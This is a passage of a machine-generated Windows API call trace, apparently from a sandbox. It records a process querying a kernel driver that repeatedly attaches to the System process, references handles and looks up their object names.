ObReferenceObjectByHandle (in: Handle=0xffffffff800006dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002131860, HandleInformation=0x0) returned 0x0 [0130.115] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.115] PsReleaseProcessExitSynchronization () returned 0x2 [0130.115] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.115] ObQueryNameString (in: Object=0xfffffa8002131860, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.115] ObfDereferenceObject (Object=0xfffffa8002131860) returned 0x2 [0130.115] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.115] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.115] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1e605e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0130.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.115] PsAcquireProcessExitSynchronization () returned 0x0 [0130.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.116] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0130.116] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.116] PsReleaseProcessExitSynchronization () returned 0x2 [0130.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.116] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.116] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.116] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.116] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.116] PsAcquireProcessExitSynchronization () returned 0x0 [0130.116] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.116] ObReferenceObjectByHandle (in: Handle=0xffffffff800006e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213ef20, HandleInformation=0x0) returned 0x0 [0130.116] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.116] PsReleaseProcessExitSynchronization () returned 0x2 [0130.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.116] ObQueryNameString (in: Object=0xfffffa800213ef20, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.116] ObfDereferenceObject (Object=0xfffffa800213ef20) returned 0x2 [0130.116] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.116] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.116] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.116] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.116] PsAcquireProcessExitSynchronization () returned 0x0 [0130.116] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.116] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002132a20, HandleInformation=0x0) returned 0x0 [0130.116] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.116] PsReleaseProcessExitSynchronization () returned 0x2 [0130.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.116] ObQueryNameString (in: Object=0xfffffa8002132a20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.116] ObfDereferenceObject (Object=0xfffffa8002132a20) returned 0x2 [0130.116] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.116] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.116] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.117] PsAcquireProcessExitSynchronization () returned 0x0 [0130.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.117] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021563f0, HandleInformation=0x0) returned 0x0 [0130.117] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.117] PsReleaseProcessExitSynchronization () returned 0x2 [0130.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.117] ObQueryNameString (in: Object=0xfffffa80021563f0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.117] ObfDereferenceObject (Object=0xfffffa80021563f0) returned 0x2 [0130.117] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.117] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.117] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.117] PsAcquireProcessExitSynchronization () returned 0x0 [0130.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.117] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003521710, HandleInformation=0x0) returned 0x0 [0130.117] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.117] PsReleaseProcessExitSynchronization () returned 0x2 [0130.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.117] ObQueryNameString (in: Object=0xfffffa8003521710, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.117] ObfDereferenceObject (Object=0xfffffa8003521710) returned 0x2 [0130.117] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.117] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.117] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.117] PsAcquireProcessExitSynchronization () returned 0x0 [0130.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.117] ObReferenceObjectByHandle (in: Handle=0xffffffff800006f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213b2f0, HandleInformation=0x0) returned 0x0 [0130.117] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.117] PsReleaseProcessExitSynchronization () returned 0x2 [0130.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.118] ObQueryNameString (in: Object=0xfffffa800213b2f0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.118] ObfDereferenceObject (Object=0xfffffa800213b2f0) returned 0x2 [0130.118] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.118] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.118] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.118] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.118] PsAcquireProcessExitSynchronization () returned 0x0 [0130.118] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.118] ObReferenceObjectByHandle (in: Handle=0xffffffff800006fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002133af0, HandleInformation=0x0) returned 0x0 [0130.118] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.118] PsReleaseProcessExitSynchronization () returned 0x2 [0130.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.118] ObQueryNameString (in: Object=0xfffffa8002133af0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.118] ObfDereferenceObject (Object=0xfffffa8002133af0) returned 0x2 [0130.118] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.118] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.118] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.118] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.118] PsAcquireProcessExitSynchronization () returned 0x0 [0130.118] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.118] ObReferenceObjectByHandle (in: Handle=0xffffffff80000708, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213bd20, HandleInformation=0x0) returned 0x0 [0130.118] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.118] PsReleaseProcessExitSynchronization () returned 0x2 [0130.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.118] ObQueryNameString (in: Object=0xfffffa800213bd20, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.118] ObfDereferenceObject (Object=0xfffffa800213bd20) returned 0x2 [0130.118] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.118] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.119] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.119] PsAcquireProcessExitSynchronization () returned 0x0 [0130.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.119] ObReferenceObjectByHandle (in: Handle=0xffffffff8000070c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002133350, HandleInformation=0x0) returned 0x0 [0130.119] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.119] PsReleaseProcessExitSynchronization () returned 0x2 [0130.119] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.119] ObQueryNameString (in: Object=0xfffffa8002133350, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.119] ObfDereferenceObject (Object=0xfffffa8002133350) returned 0x2 [0130.119] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.119] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.119] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.119] PsAcquireProcessExitSynchronization () returned 0x0 [0130.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.119] ObReferenceObjectByHandle (in: Handle=0xffffffff80000710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800214e1f0, HandleInformation=0x0) returned 0x0 [0130.119] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.119] PsReleaseProcessExitSynchronization () returned 0x2 [0130.119] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.119] ObQueryNameString (in: Object=0xfffffa800214e1f0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.119] ObfDereferenceObject (Object=0xfffffa800214e1f0) returned 0x2 [0130.119] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.119] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.119] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.119] PsAcquireProcessExitSynchronization () returned 0x0 [0130.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.120] ObReferenceObjectByHandle (in: Handle=0xffffffff80000714, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002c4a2b0, HandleInformation=0x0) returned 0x0 [0130.120] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.120] PsReleaseProcessExitSynchronization () returned 0x2 [0130.120] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.120] ObQueryNameString (in: Object=0xfffffa8002c4a2b0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.120] ObfDereferenceObject (Object=0xfffffa8002c4a2b0) returned 0x2 [0130.120] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.120] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.120] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.120] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.120] PsAcquireProcessExitSynchronization () returned 0x0 [0130.120] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.120] ObReferenceObjectByHandle (in: Handle=0xffffffff80000718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002139d20, HandleInformation=0x0) returned 0x0 [0130.120] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.121] PsReleaseProcessExitSynchronization () returned 0x2 [0130.121] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.121] ObQueryNameString (in: Object=0xfffffa8002139d20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.121] ObfDereferenceObject (Object=0xfffffa8002139d20) returned 0x2 [0130.121] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.121] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.121] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.121] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.121] PsAcquireProcessExitSynchronization () returned 0x0 [0130.121] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.121] ObReferenceObjectByHandle (in: Handle=0xffffffff8000071c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002131220, HandleInformation=0x0) returned 0x0 [0130.121] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.121] PsReleaseProcessExitSynchronization () returned 0x2 [0130.121] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.121] ObQueryNameString (in: Object=0xfffffa8002131220, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.121] ObfDereferenceObject (Object=0xfffffa8002131220) returned 0x2 [0130.121] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.121] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.121] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.121] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.121] PsAcquireProcessExitSynchronization () returned 0x0 [0130.121] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.121] ObReferenceObjectByHandle (in: Handle=0xffffffff80000724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003428360, HandleInformation=0x0) returned 0x0 [0130.121] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.121] PsReleaseProcessExitSynchronization () returned 0x2 [0130.121] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.121] ObQueryNameString (in: Object=0xfffffa8003428360, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.121] ObfDereferenceObject (Object=0xfffffa8003428360) returned 0x2 [0130.121] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.121] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.121] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.122] PsAcquireProcessExitSynchronization () returned 0x0 [0130.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.122] ObReferenceObjectByHandle (in: Handle=0xffffffff80000728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002149dd0, HandleInformation=0x0) returned 0x0 [0130.122] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.122] PsReleaseProcessExitSynchronization () returned 0x2 [0130.122] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.122] ObQueryNameString (in: Object=0xfffffa8002149dd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.122] ObfDereferenceObject (Object=0xfffffa8002149dd0) returned 0x2 [0130.122] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.122] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.122] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, 